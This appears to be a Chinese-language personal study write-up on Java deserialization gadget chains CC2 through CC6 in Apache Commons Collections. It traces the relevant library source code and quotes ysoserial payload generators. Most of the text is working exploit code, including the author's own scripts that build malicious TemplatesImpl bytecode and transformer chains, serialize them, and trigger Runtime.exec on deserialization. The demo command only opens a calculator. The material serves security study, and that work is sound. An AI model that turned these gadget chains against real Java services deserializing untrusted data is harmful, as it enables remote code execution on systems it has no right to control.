// size >>> 1
// bitwise right shift operation that performs a division by 2.
// It shifts the binary representation of the value of the `size` variable one bit to the right, effectively dividing it by 2 and ignoring any remainder.
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
siftDown
函数中需要注意 siftDownUsingComparato
函数,siftDownUsingComparator
会调用this.comparator
进行compare
,即自定义比较函数
/**
* Inserts item x at position k, maintaining heap invariant by
* demoting x down the tree repeatedly until it is less than or
* equal to its children or is a leaf.
*
* @param k the position to fill
* @param x the item to insert
*/
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
@SuppressWarnings("unchecked")
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
TransformingComparator
此外,this.comparator
在构造函数中均可赋值,同时CC中存在TransformingComparator
支持CC 1 中的 漏洞利用,该调用函数 函数名 也是 compare
。
//-----------------------------------------------------------------------
/**
* Returns the result of comparing the values from the transform operation.
*
* @param obj1 the first object to transform then compare
* @param obj2 the second object to transform then compare
* @return negative if obj1 is less, positive if greater, zero if equal
*/
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
this.transformer
为 cc1 中的 chainedTransformer payload 即可。
TemplatesImpl
在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;
再次查看 ysoserial的cc2
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
主要有以下几点不理解:
- Gadgets.createTemplatesImpl 是什么
transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
为什么要调用toString
- 为什么 可以 switch contents of queue
TemplatesImpl – ClassLoader
具体分析 见 javasec.org 中关于 ClassLoader的章节
下面内容为 具体分析的 个人摘要
Local Notes:
[[ClassLoader]]
References:
P 神 – 13.Java中动态加载字节码的那些方法
TemplatesImpl
中有一个_bytecodes
成员变量,用于存储类字节码,通过JSON反序列化的方式可以修改该变量值,但因为该成员变量没有可映射的get/set方法所以需要修改JSON库的虚拟化配置,比如Fastjson解析时必须启用Feature.SupportNonPublicField
、Jackson必须开启JacksonPolymorphicDeserialization
(调用mapper.enableDefaultTyping()
),所以利用条件相对较高。
TemplatesImpl 中 TransletClassLoader 类 对应实现的代码为
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
此外 TemplatesImpl$TransletClassLoader#defineClass
被 TemplatesImpl#defineTransletClasses
所调用。
- defineTransletClasses (注意其中的判断)
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
// 注意 ABSTRACT_TRANSLET 为
// com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
// _transletIndex 后续有判断
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
defineTransletClasses 可被 getTransletClasses
、getTransletIndex
和 getTransletInstance
- getTransletInstance L: 445 行 最后 会调用 newInstance (无参数构造函数)
最后在 TemplatesImpl 中 有两个且为public的method 间接调用到defineClass,newTransformer
和 getOutputProperties
。
小结一下,可以利用的Gadget Chain:
getOutputProperties
newTransformer
getTransletInstance
defineTransletClasses // 对应 defineClass
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // 调用 class的 无参数构造函数
故此,TemplatesImpl 的 测试脚本(fork ysoserial)为:
package xyz.fe1w0.java.basic.classloader.templatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class Exploit {
/*
利用 TemplatesImpl 实现类加载
*/
public static void main(String[] args) throws Exception {
// 获取 利用类 的 _bytecodes
// 有两种方式:
// 1. 读取文件的方式来获取 类的 bytecode
// 1.1 本地文件读取
// 1.2 远程文件读取
// 2. Javassist的方式来构建和获取类的 bytecode
final TemplatesImpl templates = new TemplatesImpl();
String command = "open -a calculator";
byte[] classBytes = getBytesFromJavassist(command);
// 不理解 Foo.class 的作用,不加也可以 代码执行。
setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
setFieldValue(templates, "_name", "Payload");
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
templates.getOutputProperties();
}
public static byte[] getBytesFromJavassist(String command) throws Exception{
ClassPool pool = ClassPool.getDefault();
// insertClassPath : Insert a <code>ClassPath</code> object at the head of the
// search path.
// StubTransletPayload extends AbstractTranslet
// 利用 javassist 在 其无参数构造函数中添加payload.
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
// 添加 clazz
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
// 修改 AbstractTranslet 子类 StubTransletPayload 的 无参数构造函数
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("fe1w0.Payload" + System.nanoTime());
// 需要手动设置 super class
CtClass superC = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
return classBytes;
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = Exploit.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
ysoserial – payload
具体理解见注释。
小结:
- 通过函数参数引用的方式,避免add 环节出问题
- 具体触发链 readObject -> heapify -> … -> templates.newTransformer
public static void ysoserialPayloadDemo() throws Exception {
final TemplatesImpl templates = templateExploitDemo();
// toString 的作用:
// queue.add -> queue.offer -> siftUp -> ... -> TransformingComparator.compare -> InvokerTransformer.transform
// final O value1 = this.transformer.transform(obj1);
// 可以将 compare 中的参数 obj1, obj2 转为 字符串,避免报错 (若不理解,建议Debug)
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// Attention: TransformingComparator class Name is
// org.apache.commons.collections4.comparators.TransformingComparator
// queue 如 chain 1 一样,添加一个 TransformingComparator
// TransformingComparator.transformer = InvokerTransformer
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
queue.add(1);
queue.add(1);
// switch method called by comparator
// 太魔幻了,我以为` final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer)); ` 执行后,
// transformer 就没有办法进行修改了,六
// 可以的,增长见识了,什么交 Java 的 函数参数 不是基本类,都是引用传递。
setFieldValue(transformer, "iMethodName", "newTransformer");
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
// 原 queueArray 中的数据是 [[1,1], [2, 1]]
// 修改后为 [[1, templates], [2, 1]]
// 当 readObject 会调用到 heapify,后续会触发 templates.newTransformer,进而触发 templatesImpl gadget chain
queueArray[0] = templates;
queueArray[1] = 1;
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("out/serFile/cc2.2.2.ser"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("out/serFile/cc2.2.2.ser"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
测试脚本
- payload
package xyz.fe1w0.java.basic.serialize.cc.two;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Exploit {
public static Transformer getPayloadChainV4(String command) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};
return new ChainedTransformer(transformers);
}
public static void main(String[] args) throws Exception {
triggerTwo();
}
public static void triggerOne() throws Exception {
String command = "open -a calculator";
Transformer payload = getPayloadChainV4(command);
// 设置 TransformingComparator: this.transformer
TransformingComparator transformingComparator = new TransformingComparator(payload);
// 设置 PriorityQueue: this.comparator
PriorityQueue queue = new PriorityQueue();
// 满足 触发条件
// add 的 链中也可以触发 transformer.compare
queue.add("demo");
queue.add("fe1w0");
// 通过反射 来 添加 comparator
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, transformingComparator);
try {
FileOutputStream fileOutputStream = new FileOutputStream("out/serFile/cc2.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(queue);
objectOutputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("out/serFile/cc2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void triggerTwo() throws Exception {
String command = "open -a calculator";
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command + "\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
System.out.println("Class Name: " + cc.getPackageName());
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue, queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("out/serFile/cc2.2.ser"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("out/serFile/cc2.2.ser"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
CC3
安装 ysoserial 的注释来看,应该是cc1 的变种
注释:
Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer.
利用条件
- JDK 版本 :
- JDK < 8u71
- JDK <= 7u21(AnnotationInvocationHandler.readObject)
- 依赖限制 :
- CommonsCollections <= 3.2.1
Gadget Chain
->AnnotationInvocationHandler.readObject()
->mapProxy.entrySet().iterator() //动态代理类
->AnnotationInvocationHandler.invoke()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()
->TemplatesImpl.newTransformer()
漏洞原理
ysoserial payload:
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
主要区别在于 后续的利用链 用的是 InstantiateTransformer、TrAXFilter 、Templates,按照gadget chain 来进行分析。
InstantiateTransformer & TrAXFilter
InstantiateTransforme#transform 代码如下:
/**
* Transforms the input Class object to a result by instantiation.
*
* @param input the input object to transform
* @return the transformed result
*/
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
其中存在反射构造函数和实例化代码
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
这两段会先触发 TrAXFilter 的 构造函数,输入参数为 templates ,对应源代码为
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
// 此处 触发 TransformerImpl gadget chain
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}
测试脚本
package xyz.fe1w0.java.basic.serialize.cc.three;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import static xyz.fe1w0.java.basic.classloader.templatesImpl.Exploit.templateExploitDemo;
public class Exploit {
public static void main(String[] args) throws Exception {
subChain();
}
// 环境问题,这里只做后续利用链的分析
// ->ChainedTransformer.transform()
// ->ConstantTransformer.transform()
// ->InstantiateTransformer.transform()
// ->TrAXFilter.TrAXFilter()
// ->TemplatesImpl.newTransformer()
public static void subChain() throws Exception {
final ChainedTransformer chainedTransformer = new ChainedTransformer(
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templateExploitDemo() }
));
chainedTransformer.transform(null);
}
}
CC4
CC4为CC2的变种,将原来的InvokerTransformer利用链替换为 InstantiateTransformer(见CC3)。
利用条件
同CC2
- 依赖限制 :
- CommonsCollections == 4.0 ( 需要
InstantiateTransformer
支持序列化,在4.0 以后版本中(测试:4.1 4.2 4.3 4.4)里中InstantiateTransformer
不再支持Serializable
)
- CommonsCollections == 4.0 ( 需要
Gadget Chain
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
漏洞原理
show me, ysoserial code.
public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
测试脚本
package xyz.fe1w0.java.basic.serialize.cc.four;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
import static xyz.fe1w0.java.basic.classloader.templatesImpl.Exploit.setFieldValue;
import static xyz.fe1w0.java.basic.classloader.templatesImpl.Exploit.templateExploitDemo;
public class Exploit {
public static void main(String[] args) throws Exception {
// 获取 evil templatesImpl
TemplatesImpl templates = templateExploitDemo();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"toString", new Class[0], new Object[0]
);
PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(invokerTransformer));
queue.add(1);
queue.add(1);
ChainedTransformer payloadTransformer = new ChainedTransformer(
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templateExploitDemo() }
)
);
setFieldValue(queue, "comparator", new TransformingComparator(payloadTransformer));
// 用 add 模拟触发利用链
queue.add(1);
}
}
CC5
利用条件
- JDK 版本 :
System.getSecurityManager() == null
- 对 ysoserial 中的注释有点懵逼,应该 JDK >= jdk8u76;
- 添加了 BadAttributeValueExpException#readObject 函数
- 依赖限制 :
- CommonsCollections
Gadget Chain
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
漏洞原理
按照 ysoserial 源代码 和 Gadget chain 进行分析。
BadAttributeValueExpException
BadAttributeValueExpException#readObject
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
该val
在payload中设置为TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
TiedMapEntry
/**
* Gets a string version of the entry.
*
* @return entry as a string
*/
public String toString() {
return getKey() + "=" + getValue();
}
// Map.Entry interface
//-------------------------------------------------------------------------
/**
* Gets the key of this entry ** @return the key
*/public Object getKey() {
return key;
}
/**
* Gets the value of this entry direct from the map. ** @return the value
*/public Object getValue() {
return map.get(key);
}
之后 map.get
可以选用 LazyMap.get
利用链。
测试脚本
package xyz.fe1w0.java.basic.serialize.cc.five;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import static xyz.fe1w0.java.basic.classloader.templatesImpl.Exploit.getFieldValue;
import static xyz.fe1w0.java.basic.serialize.cc.two.Exploit.getField;
import static xyz.fe1w0.java.basic.serialize.cc.two.Exploit.setFieldValue;
public class Exploit {
public static void main(String[] args) throws Exception {
String command = "open -a calculator";
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1)
};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
Map obj = (Map) getFieldValue(entry, "map");
System.out.println(obj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
System.out.println(obj);
setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
entry.toString();
System.out.println(obj);
}
}
output :
{}
{}
foo=1 // LazyMap#get 中 存在 `map.put(key, value);`
{foo=1}
疑问 🤔️
Debug 过程中存在一个问题,还没调试到触发点,就已经先弹窗了。
建议关闭 toString那个
后来想到利用链中利用 toString
,怀疑是 IDEA debug 过程中 自动 toString
,导致有可能在Debug entry.toString();
前已经弹计算器了。
关闭后正常 Debug
CC6
利用条件
- 依赖限制 :
- CommonsCollections 3.1 (高版本,比如3.2有安全管理默认无法序列化,4版本上会出现 InvokerTransformer 无法反序列化)
Gadget Chain
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
漏洞原理
根据Gadget Chain 进行正向分析。
HashSet – > HashMap
HashSet#readObject
->HashMap#put
在HashMap#put
中会调用hash
,而hash
函数会得到 当前 key 的 hashCode
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
TiedMapEntry
当key为TiedMapEntry类的实例时,将跳转到 hashCode
-> getValue
-> 可触发点 。
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public Object getValue() {
return map.get(key);
}
map.get
之后可以利用 LazyMap 的利用链(原理:LazyMap#get 可以触发 Object value = factory.transform(key);
),后续使用中 存在 InstantiateTransformer
和 InvokeTransformer
两种利用链。
ysoserial 中的实现如下:
public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
将道理,个人认为最迷惑的就是
Map.table -> Node.key = entry
